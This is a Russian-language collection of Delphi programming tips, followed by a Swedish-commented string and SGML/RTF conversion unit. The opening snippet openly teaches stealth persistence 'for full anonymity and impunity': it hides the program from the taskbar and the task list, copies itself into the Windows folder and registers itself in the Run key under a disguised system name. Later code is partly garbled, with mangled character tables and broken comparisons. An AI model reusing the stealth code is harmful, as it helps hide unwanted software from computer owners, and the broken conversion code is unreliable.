Плюс к тому нужно сделать так, чтобы не было видно программу в Ctrl+Alt+Delete и её кнопки на панели задач. Так вот для такой
полной анонимности и безнаказанности нужно по созданию окна (событие OnCreate) написать следующий код:
procedure TForm1.FormCreate(Sender: TObject);
var
h:TRegistry; //Переменная для занесения проги в реестр
begin
i:=0;
Application.ShowMainForm:=false; //Скрываем главное окно и кнопку программы
if not(csDesigning in ComponentState) then
RegisterServiceProcess(GetCurrentProcessID,1); //Убираем из списка Ctrl+Alt+Delete
WinDirP := StrAlloc(MAX_PATH); //Находим каталог Windows, чтобы поместить в него копию проги
Res := GetWindowsDirectory(WinDirP, MAX_PATH);
if Res > 0 then WinDir := StrPas(WinDirP);
if FileExists(WinDir+'\system\ft.com')=false then //Проверяем, если файл ещё не скопирован,
CopyFile(PChar(Application.ExeName),PChar(WinDir+'\OurProgram.com'),false); //тогда делаем копию
h:=TRegistry.Create; {заносим программу в автозапуск реестра под каким-нибудь "левым" (желательно "системным" именем)
именем}
h.RootKey:=HKEY_LOCAL_MACHINE;
h.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true);
h.WriteString('MemoryScan',WinDir+'\OurProgram.com');
h.CloseKey;
h.Free;
end;
Помимо этого нужно ещё сделать следующее:
до слова implementation написать
function RegisterServiceProcess(dwProcessID,dwType:integer):integer;stdcall;external 'KERNEL32.DLL';
implementation
в публичных объявлениях объявить несколько глобальных переменных
public
{ Public declarations }
Windir : String;
WindirP : PChar;
Res : Cardinal;
в области uses объявить модуль Registry
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Registry,
ExtCtrls;
Ну вот вообщем-то и всё, что нужно для полного счастья :-)
Не хуже M$ получается! У них свои типы файлов, и у нас будут свои! Всё, что для этого нужно - точно выполнять
последовательность действий и научиться копировать в буфер, чтобы не писать все те коды, что будут тут изложены :))
Сначала, естественно, объявляем в uses модуль Registry.
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Registry;
Затем в публичных объявлениях объявляем процедуру регистрации нового типа файлов:
public
{ Public declarations }
procedure RegisterFileType(ext:String; FileName:String);
Описываем её так:
procedure TForm1.RegisterFileType(ext:String; FileName:String);
var
reg:TRegistry;
begin
reg:=TRegistry.Create;
reg.RootKey:=HKEY_CLASSES_ROOT;
reg.OpenKey('.'+ext,True);
reg.WriteString('',ext+'file');
reg.CloseKey;
reg.CreateKey(ext+'file');
reg.OpenKey(ext+'file\DefaultIcon',True);
reg.WriteString('',FileName+',0');
reg.CloseKey;
reg.OpenKey(ext+'file\shell\open\command',True);
reg.WriteString('',FileName+' "%1"');
reg.CloseKey;
reg.Free;
end;
Ну а по нажатию какого-нибудь батона регистрируем!
procedure TForm1.Button1Click(Sender: TObject);
begin
RegisterFileType('iii',Application.ExeName);
end;
Сначала, естественно, объявляем в uses модуль Registry.
Затем по нажатию на кнопку пишем такой код:
var
reg : TRegistry;
ts : TStrings;
i : integer;
begin
reg := TRegistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.OpenKey(
'SOFTWARE\Microsoft\Windows\CurrentVersion\Time Zones',
false);
if reg.HasSubKeys then begin
ts := TStringList.Create;
reg.GetKeyNames(ts);
reg.CloseKey;
for i := 0 to ts.Count -1 do begin
reg.OpenKey(
'SOFTWARE\Microsoft\Windows\CurrentVersion\Time Zones\' +
ts.Strings[i],
false);
Memo1.Lines.Add(ts.Strings[i]);
Memo1.Lines.Add(reg.ReadString('Display'));
Memo1.Lines.Add(reg.ReadString('Std'));
Memo1.Lines.Add(reg.ReadString('Dlt'));
Memo1.Lines.Add('----------------------');
reg.CloseKey;
end;
ts.Free;
end else
reg.CloseKey;
reg.free;
end;
Следующий пример изменяет приоритет приложения. Изменение приоритета следует использовать с
осторожностью - т.к. присвоение слишком высокого приоритета может привети к медленной работе остальных
программ и системы в целом. См. Win32 help for SetThreadPriority() function.
Пример:
procedure TForm1.Button1Click(Sender: TObject);
var
ProcessID : DWORD;
ProcessHandle : THandle;
ThreadHandle : THandle;
begin
ProcessID := GetCurrentProcessID;
ProcessHandle := OpenProcess(PROCESS_SET_INFORMATION,
false,
ProcessID);
SetPriorityClass(ProcessHandle, REALTIME_PRIORITY_CLASS);
ThreadHandle := GetCurrentThread;
SetThreadPriority(ThreadHandle, THREAD_PRIORITY_TIME_CRITICAL);
end;
захотел программно сменить картинку на рабочем столе. Обои
т.е... я залез в реестр изменил нужную строку. Все нормально. в
реестре изменилось. Но сам виндовс не обновился. Т.е картинка не
сменилась. Потом, когда я запускаю какую-нить игру, она меняется. А так
нет. Как мне обновить виндовс? перерисовать что ли.
=== 1 ===
Вот так:
procedure TForm1.FormCreate(Sender: TObject);
var
St : string;
begin
St := 'C:\MyWallPaper.Bmp';
SystemParametersInfo(SPI_SETDESKWALLPAPER,UINT(St),nil,SPIF_SENDCHANGE);
или так
SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, @St, SPIF_UPDATEINIFILE OR SPIF_SENDWININICHANGE);
end;
=== 2 ===
Попробуй покапаться с АПИ - SystemParametersInfo
или вот тебе компонент:
unit Walpaper;
interface
uses
{$IFDEF WIN32} Windows, Registry, {$ELSE} WinTypes, WinProcs, IniFiles, {$ENDIF}
Classes, Controls, SysUtils;
type
TWallPaper = class(TComponent)
private
PC: Array[0..$FF] of Char;
{$IFDEF WIN32}
Reg: TRegistry;
{$ELSE}
Reg: TIniFile;
WinIniPath: String;
{$ENDIF}
function GetWallpaper: String;
procedure SetWallpaper(Value: String);
function GetTile: Boolean;
procedure SetTile(Value: Boolean);
function GetStretch: Boolean;
procedure SetStretch(Value: Boolean);
protected
{$IFNDEF WIN32}
constructor Create(aOwner: TComponent); override;
{$ENDIF}
public
published
property Wallpaper: String read GetWallpaper write SetWallpaper;
property Tile: Boolean read GetTile write SetTile;
property Stretch: Boolean read GetStretch write SetStretch;
end;
procedure Register;
implementation
{$IFNDEF WIN32}
constructor TWallpaper.Create(aOwner: TComponent);
begin
inherited Create(aOwner);
GetWindowsDirectory(PC, $FF);
WinIniPath := StrPas(PC) + '\WIN.INI';
end;
{$ENDIF}
function TWallpaper.GetWallpaper: String;
begin
{$IFDEF WIN32}
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('\Control Panel\desktop\', False);
Result := Reg.ReadString('Wallpaper');
Reg.Free;
{$ELSE}
Reg := TIniFile.Create(WinIniPath);
Result := Reg.ReadString('Desktop', 'Wallpaper', '');
Reg.Free;
{$ENDIF}
end;
procedure TWallpaper.SetWallpaper(Value: String);
begin
if not (csDesigning in ComponentState) and
not (csLoading in ComponentState) and
not (csReading in ComponentState) then
begin
StrPCopy(PC, Value);
SystemParametersInfo(spi_SetDeskWallpaper, 0, @PC, spif_UpdateIniFile);
end;
end;
function TWallpaper.GetTile: Boolean;
begin
{$IFDEF WIN32}
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('\Control Panel\desktop\', False);
Result := Boolean(StrToInt(Reg.ReadString('TileWallpaper')));
Reg.Free;
{$ELSE}
Reg := TIniFile.Create(WinIniPath);
Result := Reg.ReadBool('Desktop', 'TileWallpaper', False);
Reg.Free;
{$ENDIF}
end;
procedure TWallpaper.SetTile(Value: Boolean);
begin
if not (csDesigning in ComponentState) and
not (csLoading in ComponentState) and
not (csReading in ComponentState) then
begin
{$IFDEF WIN32}
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('\Control Panel\desktop\', False);
Reg.WriteString('TileWallpaper', IntToStr(Integer(Value)));
Reg.Free;
{$ELSE}
Reg := TIniFile.Create(WinIniPath);
Reg.WriteBool('Desktop', 'TileWallpaper', Value);
Reg.Free;
{$ENDIF}
SetWallpaper(Wallpaper);
end;
end;
function TWallpaper.GetStretch: Boolean;
var
i: Integer;
begin
{$IFDEF WIN32}
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('\Control Panel\desktop\', False);
i := StrToInt(Reg.ReadString('WallpaperStyle'));
except
end;
Reg.Free;
{$ELSE}
Reg := TIniFile.Create(WinIniPath);
i := Reg.ReadInteger('Desktop', 'WallpaperStyle', 0);
Reg.Free;
{$ENDIF}
Result := i = 2;
end;
procedure TWallpaper.SetStretch(Value: Boolean);
var
v: Integer;
begin
if not (csDesigning in ComponentState) and
not (csLoading in ComponentState) and
not (csReading in ComponentState) then
begin
if Value then v := 2 else v := 0;
{$IFDEF WIN32}
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('\Control Panel\desktop\', False);
Reg.WriteString('WallpaperStyle', IntToStr(v));
Reg.Free;
{$ELSE}
Reg := TIniFile.Create(WinIniPath);
Reg.WriteInteger('Desktop', 'WallpaperStyle', v);
Reg.Free;
{$ENDIF}
SetWallpaper(Wallpaper);
end;
end;
procedure Register;
begin
RegisterComponents('JohnUtil', [TWallPaper]);
end;
end.
=== 3 ===
WinAPI:
BOOL SystemParametersInfo(
UINT uiAction, // system parameter to query or set
UINT uiParam, // depends on action to be taken
PVOID pvParam, // depends on action to be taken
UINT fWinIni // user profile update flag
);
uiAction := SPI_SETDESKWALLPAPER Sets the desktop wallpaper.
pvParam := 'Имя BMP файла'#0
uiParam := 0
fWinIni := SPIF_UPDATEINIFILE
В некоторых случаях (например, при работе в полноэкранном режиме, показе своей презентации или экранной
заставки ...) бывает полезно заблокировать перечисленные комбинации клавиш. Они блокируются при работе
системы в режиме "экранная заставка" , который в свою очередь несложно включить и выключить:
// Включение режима
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, 0, 0);
// Выключение режима
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 0, 0, 0);
Кстати, SystemParametersInfo имеет еще кучу полезных
ключей SPI_****, подробности см. в win32.hlp
const
{ operating system constants }
cOsUnknown = -1;
cOsWin95 = 0;
cOsWin98 = 1;
cOsWin98SE = 2;
cOsWinME = 3;
cOsWinNT = 4;
cOsWin2000 = 5;
cOsWhistler = 6;
function GetOperatingSystem : integer;
var
osVerInfo : TOSVersionInfo;
majorVer, minorVer : Integer;
begin
result := cOsUnknown;
{ set operating system type flag }
osVerInfo.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if GetVersionEx(osVerInfo) then
begin
majorVer := osVerInfo.dwMajorVersion;
minorVer := osVerInfo.dwMinorVersion;
case osVerInfo.dwPlatformId of
VER_PLATFORM_WIN32_NT : { Windows NT/2000 }
begin
if majorVer <= 4 then
result := cOsWinNT
else if (majorVer = 5) AND (minorVer= 0) then
result := cOsWin2000
else if (majorVer = 5) AND (minorVer = 1) then
result := cOsWhistler
else
result := cOsUnknown;
end;
VER_PLATFORM_WIN32_WINDOWS : { Windows 9x/ME }
begin
if (majorVer = 4) AND (minorVer = 0) then
result := cOsWin95
else if (majorVer = 4) AND (minorVer = 10) then
begin
if osVerInfo.szCSDVersion[1] = 'A' then
result := cOsWin98SE
else
result := cOsWin98;
end
else if (majorVer = 4) AND (minorVer = 90) then
result := cOsWinME
else
result := cOsUnknown;
end;
else
result := cOsUnknown;
end;
end
else
result := cOsUnknown;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage(IntToStr(GetOperatingSystem));
end;
Здесь представлен модуль, в котором я разметил много методов для подобной работы.
Некоторые функции поименованы по-шведски, но, может-быть, Вы сможете понять,
что они делают.
Вам потребуется один из методов, называющийся stringreplaceall, который
принимает при параметра - исходную строку, подстроку для поиска и подстроку
для замены, и возвращает измененную строку.
Будьте осторожны, если Вы меняется одну подстроку на другую, чьей частью
является первая. Вы должны делать это в два прохода, или Вы попадете
в бесконечный цикл.
Так, если Вы имеете текст, содержащий слово Joe, и Вы хотите все его вхождения
изменить на Joey, то Вы должны сделать сперва нечто похожее на:
text := stringreplaceall (text,'Joe','Joeey');
И потом
text := stringreplaceall (text,'Joeey','Joey');
unit sparfunc;
interface
uses sysutils,classes;
function antaltecken (orgtext,soktext : string) : integer;
function beginsWith (text,teststreng : string):boolean;
function endsWith (text,teststreng : string):boolean;
function hamtastreng (text,strt,slut : string):string;
function hamtastrengmellan (text,strt,slut : string):string;
function nastadelare (progtext : string):integer;
function rtf2sgml (text : string) : string;
Function sgml2win(text : String) : String;
Function sgml2mac(text : String) : String;
Function sgml2rtf(text : string) : String;
function sistamening(text : string) : string;
function stringnthfield (text,delim : string; vilken : integer) : string;
function stringreplace (text,byt,mot : string) : string;
function stringreplaceall (text,byt,mot : string) : string;
function text2sgml (text : string) : string;
procedure SurePath (pathen : string);
procedure KopieraFil (infil,utfil : string);
function LasInEnTextfil (filnamn : string) : string;
implementation
function LasInEnTextfil (filnamn : string) : string;
var
infil : textfile;
temptext, filtext : string;
begin
filtext := '';
//Oppna angiven fil och las in den
try
assignfile (infil,filnamn); //Koppla en textfilsvariabel till pathname
reset (infil); //Oppna filen
while not eof(infil) do begin //Sa lange vi inte natt slutet
readln (infil,temptext); //Las in en rad
filtext := filtext+temptext; //Lagg den till variabeln SGMLTEXT
end; // while
finally //slutligen
closefile (infil); //Stang filen
end; //try
result := filtext;
end;
procedure KopieraFil (infil,utfil : string);
var
InStream : TFileStream;
OutStream : TFileStream;
begin
InStream := TFileStream.Create(infil,fmOpenRead);
try
OutStream := TFileStream.Create(utfil,fmOpenWrite or fmCreate);
try
OutStream.CopyFrom(InStream,0);
finally
OutStream.Free;
end;
finally
InStream.Free;
end;
end;
procedure SurePath (pathen : string);
var
temprad,del1 : string;
antal : integer;
begin
antal := antaltecken (pathen,'\');
if antal<3 then
createdir(pathen)
else begin
if pathen[length(pathen)] <> '\' then pathen := pathen+'\';
pathen := stringreplace(pathen,'\','/');
del1 := copy(pathen,1,pos('\',pathen));
pathen := stringreplace(pathen,del1,'');
del1 := stringreplace(del1,'/','\');
createdir (del1);
while pathen <> '' do begin
temprad := copy(pathen,1,pos('\',pathen));
pathen := stringreplace(pathen,temprad,'');
del1 := del1+ temprad;
temprad := '';
createdir(del1);
end;
end;
end;
function antaltecken (orgtext,soktext : string) : integer;
var
i,traffar,soklengd : integer;
begin
traffar := 0;
soklengd := length(soktext);
for i := 1 to length(orgtext) do
begin
if soktext = copy(orgtext,i,soklengd) then
traffar := traffar +1;
end;
result := traffar;
end;
function nastadelare (progtext : string):integer;
var
i,j : integer;
begin
i := pos('.',progtext);
j := pos('!',progtext);
if (j0) then i := j;
j := pos('!',progtext);
if (j0) then i := j;
j := pos('?',progtext);
if (j0) then i := j;
result := i;
end;
function stringnthfield (text,delim : string; vilken : integer) : string;
var
start,slut,i : integer;
temptext : string;
begin
start := 0;
if vilken >0 then
begin
temptext := text;
if vilken = 1 then
begin
start := 1;
slut := pos (delim,text);
end
else
begin
for i:= 1 to vilken -1 do
begin
start := pos(delim,temptext)+length(delim);
temptext := copy(temptext,start,length(temptext));
end;
slut := pos (delim,temptext);
end;
if start >0 then
begin
if slut = 0 then slut := length(text);
result := copy (temptext,1,slut-1);
end
else
result := text;
end
else
result := text;
end;
function StringReplaceAll (text,byt,mot : string ) :string;
{Funktion for att byta ut alla forekomster av en strang mot en
annan strang in en strang. Den konverterade strangen returneras.
Om byt finns i mot maste vi ga via en temporar variant!!!}
var
plats : integer;
begin
While pos(byt,text) > 0 do
begin
plats := pos(byt,text);
delete (text,plats,length(byt));
insert (mot,text,plats);
end;
result := text;
end;
function StringReplace (text,byt,mot : string ) :string;
{Funktion for att byta ut den forsta forekomsten av en strang mot en
annan strang in en strang. Den konverterade strangen returneras.}
var
plats : integer;
begin
if pos(byt,text) > 0 then
begin
plats := pos(byt,text);
delete (text,plats,length(byt));
insert (mot,text,plats);
end;
result := text;
end;
function hamtastreng (text,strt,slut : string):string;
{Funktion for att hamta ut en delstrang ur en annan strang.
Om start och slut finns i text sa returneras en strang dar start
ingar i borjan och fram till tecknet fore slut.}
var
stplats,slutplats : integer;
resultat : string;
begin
resultat :='';
stplats := pos(strt,text);
if stplats >0 then
begin
text := copy (text,stplats,length(text));
slutplats := pos(slut,text);
if slutplats >0 then
begin
resultat := copy(text,1,slutplats-1);
end;
end;
result := resultat;
end;
function hamtastrengmellan (text,strt,slut : string):string;
{Funktion for att hamta ut en delstrang ur en annan strang.
Om start och slut finns i text sa returneras en strang dar start
ingar i borjan och fram till tecknet fore slut.}
var
stplats,slutplats : integer;
resultat : string;
begin
resultat :='';
stplats := pos(strt,text);
if stplats >0 then
begin
text := copy (text,stplats+length(strt),length(text));
slutplats := pos(slut,text);
if slutplats >0 then
begin
resultat := copy(text,1,slutplats-1);
end;
end;
result := resultat;
end;
function endsWith (text,teststreng : string):boolean;
{Kollar om en strang slutar med en annan strang.
Returnerar true eller false.}
var
textlngd,testlngd : integer;
kollstreng : string;
begin
testlngd := length(teststreng);
textlngd := length (text);
if textlngd > testlngd then
begin
kollstreng := copy (text,(textlngd+1)-testlngd,testlngd);
if kollstreng = teststreng then
result := true
else
result := false;
end
else
result := false;
end;
function beginsWith (text,teststreng : string):boolean;
{Funktion for att kolla om text borjar med teststreng.
Returnerar true eller false.}
var
textlngd,testlngd : integer;
kollstreng : string;
begin
testlngd := length(teststreng);
textlngd := length (text);
if textlngd >= testlngd then
begin
kollstreng := copy (text,1,testlngd);
if kollstreng = teststreng then
result := true
else
result := false;
end
else
result := false;
end;
function sistamening(text : string) : string;
//Funktion for att ta fram sista meningen i en strang. Soker pa !?.
var
i:integer;
begin
i :=length(text)-1;
while (copy(text,i,1)<> '.') and (copy(text,i,1)<> '!') and (copy(text,i,1)<> '?') do
begin
dec(i);
if i =1 then break
end;
if i>1 then
result := copy(text,i,length(text))
else
result := '';
end;
Function text2sgml(text : String) : String;
{Funktion som byter ut alla ovanliga tecken mot entiteter.
Den fardiga texten returneras.}
begin
text := stringreplaceall (text,'&','##amp;');
text := stringreplaceall (text,'##amp','&');
text := stringreplaceall (text,'a','a*');
text := stringreplaceall (text,'A','A*');
text := stringreplaceall (text,'a','a"');
text := stringreplaceall (text,'A','A"');
text := stringreplaceall (text,'a','a'');
text := stringreplaceall (text,'A','A'');
text := stringreplaceall (text,'a','a`');
text := stringreplaceall (text,'A','A`');
text := stringreplaceall (text,'?','?');
text := stringreplaceall (text,'?','&Aelig;');
text := stringreplaceall (text,'A','A^');
text := stringreplaceall (text,'a','a^');
text := stringreplaceall (text,'a','a~');
text := stringreplaceall (text,'A','A~');
text := stringreplaceall (text,'c','c,');
text := stringreplaceall (text,'C','C,');
text := stringreplaceall (text,'e','e'');
text := stringreplaceall (text,'E','E'');
text := stringreplaceall (text,'e','e^');
text := stringreplaceall (text,'E','E^');
text := stringreplaceall (text,'e','e"');
text := stringreplaceall (text,'E','E"');
text := stringreplaceall (text,'e','e`');
text := stringreplaceall (text,'E','E`');
text := stringreplaceall (text,'i','i^');
text := stringreplaceall (text,'I','I^');
text := stringreplaceall (text,'i','i'');
text := stringreplaceall (text,'I','I'');
text := stringreplaceall (text,'i','i`');
text := stringreplaceall (text,'I','I`');
text := stringreplaceall (text,'i','i"');
text := stringreplaceall (text,'I','I"');
text := stringreplaceall (text,'n','n~');
text := stringreplaceall (text,'N','N~');
text := stringreplaceall (text,'o','o"');
text := stringreplaceall (text,'O','O"');
text := stringreplaceall (text,'o','o`');
text := stringreplaceall (text,'O','O`');
text := stringreplaceall (text,'o','o'');
text := stringreplaceall (text,'O','O'');
text := stringreplaceall (text,'o','?');
text := stringreplaceall (text,'O','?');
text := stringreplaceall (text,'O','O^');
text := stringreplaceall (text,'o','o^');
text := stringreplaceall (text,'o','o~');
text := stringreplaceall (text,'O','O~');
text := stringreplaceall (text,'u','u"');
text := stringreplaceall (text,'U','U"');
text := stringreplaceall (text,'u','u'');
text := stringreplaceall (text,'U','U'');
text := stringreplaceall (text,'U','U`');
text := stringreplaceall (text,'u','u`');
text := stringreplaceall (text,'u','u^');
text := stringreplaceall (text,'U','U^');
text := stringreplaceall (text,'y','y'');
text := stringreplaceall (text,'Y','Y'');
text := stringreplaceall (text,'y','y"');
text := stringreplaceall (text,'|',' ');
result := text;
End;
Function sgml2win(text : String) : String;
{Funktion som ersatter alla entiteter mot deras tecken i
windows. Den fardiga strangen returneras.}
begin
text := stringreplaceall (text,'a'','a');
text := stringreplaceall (text,'A'','A');
text := stringreplaceall (text,'?','?');
text := stringreplaceall (text,'&Aelig;','?');
text := stringreplaceall (text,'a`','a');
text := stringreplaceall (text,'A`','A');
text := stringreplaceall (text,'a*','a');
text := stringreplaceall (text,'A*','A');
text := stringreplaceall (text,'a"','a');
text := stringreplaceall (text,'A"','A');
text := stringreplaceall (text,'A^' ,'A');
text := stringreplaceall (text,'a^' ,'a');
text := stringreplaceall (text,'a~','a');
text := stringreplaceall (text,'A~','A');
text := stringreplaceall (text,'c,','c');
text := stringreplaceall (text,'C,','C');
text := stringreplaceall (text,'e'','e');
text := stringreplaceall (text,'E'','E');
text := stringreplaceall (text,'e`','e');
text := stringreplaceall (text,'E`','E');
text := stringreplaceall (text,'e^' ,'e');
text := stringreplaceall (text,'E^' ,'E');
text := stringreplaceall (text,'e"' ,'e');
text := stringreplaceall (text,'E"' ,'E');
text := stringreplaceall (text,'i^' ,'i');
text := stringreplaceall (text,'I^' ,'I');
text := stringreplaceall (text,'i'','i');
text := stringreplaceall (text,'I'','I');
text := stringreplaceall (text,'i`','i');
text := stringreplaceall (text,'I`','I');
text := stringreplaceall (text,'i"' ,'i');
text := stringreplaceall (text,'I"' ,'I');
text := stringreplaceall (text,'n~','n');
text := stringreplaceall (text,'N~','N');
text := stringreplaceall (text,'o`','o');
text := stringreplaceall (text,'O`','O');
text := stringreplaceall (text,'o'','o');
text := stringreplaceall (text,'O'','O');
text := stringreplaceall (text,'o"','o');
text := stringreplaceall (text,'O"','O');
text := stringreplaceall (text,'?','o');
text := stringreplaceall (text,'?','O');
text := stringreplaceall (text,'O^' ,'O');
text := stringreplaceall (text,'o^' ,'o');
text := stringreplaceall (text,'o~','o');
text := stringreplaceall (text,'O~','O');
text := stringreplaceall (text,'u"','u');
text := stringreplaceall (text,'U"','U');
text := stringreplaceall (text,'u'','u');
text := stringreplaceall (text,'U'','U');
text := stringreplaceall (text,'u^' ,'u');
text := stringreplaceall (text,'U^' ,'U');
text := stringreplaceall (text,'U`','U');
text := stringreplaceall (text,'u`','u');
text := stringreplaceall (text,'y'','y');
text := stringreplaceall (text,'Y'','Y');
text := stringreplaceall (text,'y"' ,'y');
text := stringreplaceall (text,' ','|');
text := stringreplaceall (text,'&','&');
result := text;
End;
Function sgml2mac(text : String) : String;
{Funktion som ersatter alla entiteter mot deras tecken i
mac. Den fardiga strangen returneras.}
begin
text := stringreplaceall (text,'a'',chr(135));
text := stringreplaceall (text,'A'',chr(231));
text := stringreplaceall (text,'?',chr(190));
text := stringreplaceall (text,'&Aelig;',chr(174));
text := stringreplaceall (text,'a`',chr(136));
text := stringreplaceall (text,'A`',chr(203));
text := stringreplaceall (text,'a*',chr(140));
text := stringreplaceall (text,'A*',chr(129));
text := stringreplaceall (text,'A"',chr(128));
text := stringreplaceall (text,'a"',chr(138));
text := stringreplaceall (text,'A^' ,chr(229));
text := stringreplaceall (text,'a^' ,chr(137));
text := stringreplaceall (text,'a~',chr(139));
text := stringreplaceall (text,'A~',chr(204));
text := stringreplaceall (text,'c,',chr(141));
text := stringreplaceall (text,'C,',chr(130));
text := stringreplaceall (text,'e'',chr(142));
text := stringreplaceall (text,'E'',chr(131));
text := stringreplaceall (text,'e`',chr(143));
text := stringreplaceall (text,'E`',chr(233));
text := stringreplaceall (text,'e^' ,chr(144));
text := stringreplaceall (text,'E^' ,chr(230));
text := stringreplaceall (text,'e"' ,chr(145));
text := stringreplaceall (text,'E"' ,chr(232));
text := stringreplaceall (text,'i^' ,chr(148));
text := stringreplaceall (text,'I^' ,chr(235));
text := stringreplaceall (text,'i'' ,chr(146));
text := stringreplaceall (text,'I'' ,chr(234));
text := stringreplaceall (text,'i`' ,chr(147));
text := stringreplaceall (text,'I`' ,chr(237));
text := stringreplaceall (text,'i"' ,chr(149));
text := stringreplaceall (text,'I"' ,chr(236));
text := stringreplaceall (text,'n~',chr(150));
text := stringreplaceall (text,'N~',chr(132));
text := stringreplaceall (text,'o`',chr(152));
text := stringreplaceall (text,'O`',chr(241));
text := stringreplaceall (text,'o'',chr(151));
text := stringreplaceall (text,'O'',chr(238));
text := stringreplaceall (text,'O^' ,chr(239));
text := stringreplaceall (text,'o^' ,chr(153));
text := stringreplaceall (text,'?',chr(191));
text := stringreplaceall (text,'?',chr(175));
text := stringreplaceall (text,'o~',chr(155));
text := stringreplaceall (text,'O~',chr(239));
text := stringreplaceall (text,'o"',chr(154));
text := stringreplaceall (text,'O"',chr(133));
text := stringreplaceall (text,'u"',chr(159));
text := stringreplaceall (text,'U"',chr(134));
text := stringreplaceall (text,'u'',chr(156));
text := stringreplaceall (text,'U'',chr(242));
text := stringreplaceall (text,'u^' ,chr(158));
text := stringreplaceall (text,'U^' ,chr(243));
text := stringreplaceall (text,'U`',chr(244));
text := stringreplaceall (text,'u`',chr(157));
text := stringreplaceall (text,'y'','y');
text := stringreplaceall (text,'y"' ,chr(216));
text := stringreplaceall (text,'Y"' ,chr(217));
text := stringreplaceall (text,' ',' ');
text := stringreplaceall (text,'&',chr(38));
result := text;
End;
Function sgml2rtf(text : string) : String;
{Funktion for att byta ut sgml-entiteter mot de koder som
galler i RTF-textrutorna.}
begin
text := stringreplaceall (text,'}','#]#');
text := stringreplaceall (text,'{','#[#');
text := stringreplaceall (text,'\','HSALSKCAB');
text := stringreplaceall (text,'HSALSKCAB','\\');
text := stringreplaceall (text,'?','\'+chr(39)+'c6');
text := stringreplaceall (text,'&Aelig;','\'+chr(39)+'e6');
text := stringreplaceall (text,'a'','\'+chr(39)+'e1');
text := stringreplaceall (text,'A'','\'+chr(39)+'c1');
text := stringreplaceall (text,'a`','\'+chr(39)+'e0');
text := stringreplaceall (text,'A`','\'+chr(39)+'c0');
text := stringreplaceall (text,'a*','\'+chr(39)+'e5');
text := stringreplaceall (text,'A*','\'+chr(39)+'c5');
text := stringreplaceall (text,'A^','\'+chr(39)+'c2');
text := stringreplaceall (text,'a^','\'+chr(39)+'e2');
text := stringreplaceall (text,'a~','\'+chr(39)+'e3');
text := stringreplaceall (text,'A~','\'+chr(39)+'c3');
text := stringreplaceall (text,'a"','\'+chr(39)+'e4');
text := stringreplaceall (text,'A"','\'+chr(39)+'c4');
text := stringreplaceall (text,'c,','\'+chr(39)+'e7');
text := stringreplaceall (text,'C,','\'+chr(39)+'c7');
text := stringreplaceall (text,'e'','\'+chr(39)+'e9');
text := stringreplaceall (text,'E'','\'+chr(39)+'c9');
text := stringreplaceall (text,'e`','\'+chr(39)+'e8');
text := stringreplaceall (text,'E`','\'+chr(39)+'c8');
text := stringreplaceall (text,'e^','\'+chr(39)+'ea');
text := stringreplaceall (text,'E^','\'+chr(39)+'ca');
text := stringreplaceall (text,'e"','\'+chr(39)+'eb');
text := stringreplaceall (text,'E"','\'+chr(39)+'cb');
text := stringreplaceall (text,'i^','\'+chr(39)+'ee');
text := stringreplaceall (text,'I^','\'+chr(39)+'ce');
text := stringreplaceall (text,'i'','\'+chr(39)+'ed');
text := stringreplaceall (text,'I'','\'+chr(39)+'cd');
text := stringreplaceall (text,'i`','\'+chr(39)+'ec');
text := stringreplaceall (text,'I`','\'+chr(39)+'cc');
text := stringreplaceall (text,'i"' ,'\'+chr(39)+'ef');
text := stringreplaceall (text,'I"' ,'\'+chr(39)+'cf');
text := stringreplaceall (text,'n~','\'+chr(39)+'f1');
text := stringreplaceall (text,'N~','\'+chr(39)+'d1');
text := stringreplaceall (text,'o"','\'+chr(39)+'f6');
text := stringreplaceall (text,'O"','\'+chr(39)+'d6');
text := stringreplaceall (text,'o'','\'+chr(39)+'f3');
text := stringreplaceall (text,'O'','\'+chr(39)+'d3');
text := stringreplaceall (text,'o`','\'+chr(39)+'f2');
text := stringreplaceall (text,'O`','\'+chr(39)+'d2');
text := stringreplaceall (text,'?','\'+chr(39)+'f8');
text := stringreplaceall (text,'?','\'+chr(39)+'d8');
text := stringreplaceall (text,'O^','\'+chr(39)+'d4');
text := stringreplaceall (text,'o^','\'+chr(39)+'f4');
text := stringreplaceall (text,'o~','\'+chr(39)+'f5');
text := stringreplaceall (text,'O~','\'+chr(39)+'d5');
text := stringreplaceall (text,'u'','\'+chr(39)+'fa');
text := stringreplaceall (text,'U'','\'+chr(39)+'da');
text := stringreplaceall (text,'u^','\'+chr(39)+'fb');
text := stringreplaceall (text,'U^','\'+chr(39)+'db');
text := stringreplaceall (text,'U`','\'+chr(39)+'d9');
text := stringreplaceall (text,'u`','\'+chr(39)+'f9');
text := stringreplaceall (text,'u"','\'+chr(39)+'fc');
text := stringreplaceall (text,'U"','\'+chr(39)+'dc');
text := stringreplaceall (text,'y'','\'+chr(39)+'fd');
text := stringreplaceall (text,'Y'','\'+chr(39)+'dd');
text := stringreplaceall (text,'y"','\'+chr(39)+'ff');
text := stringreplaceall (text,'?','\'+chr(39)+'a3');
text := stringreplaceall (text,'#]#','\}');
text := stringreplaceall (text,'#[#','\{');
text := stringreplaceall (text,' ','|');
text := stringreplaceall (text,'&','&');
result := text;
End;
function rtf2sgml (text : string) : string;
{Funktion for att konvertera en RTF-rad till SGML-text.}
var
temptext : string;
start : integer;
begin
text := stringreplaceall (text,'&','##amp;');
text := stringreplaceall (text,'##amp','&');
text := stringreplaceall (text,'\'+chr(39)+'c6','?');
text := stringreplaceall (text,'\'+chr(39)+'e6','&Aelig;');
text := stringreplaceall (text,'\'+chr(39)+'e5','a*');
text := stringreplaceall (text,'\'+chr(39)+'c5','A*');
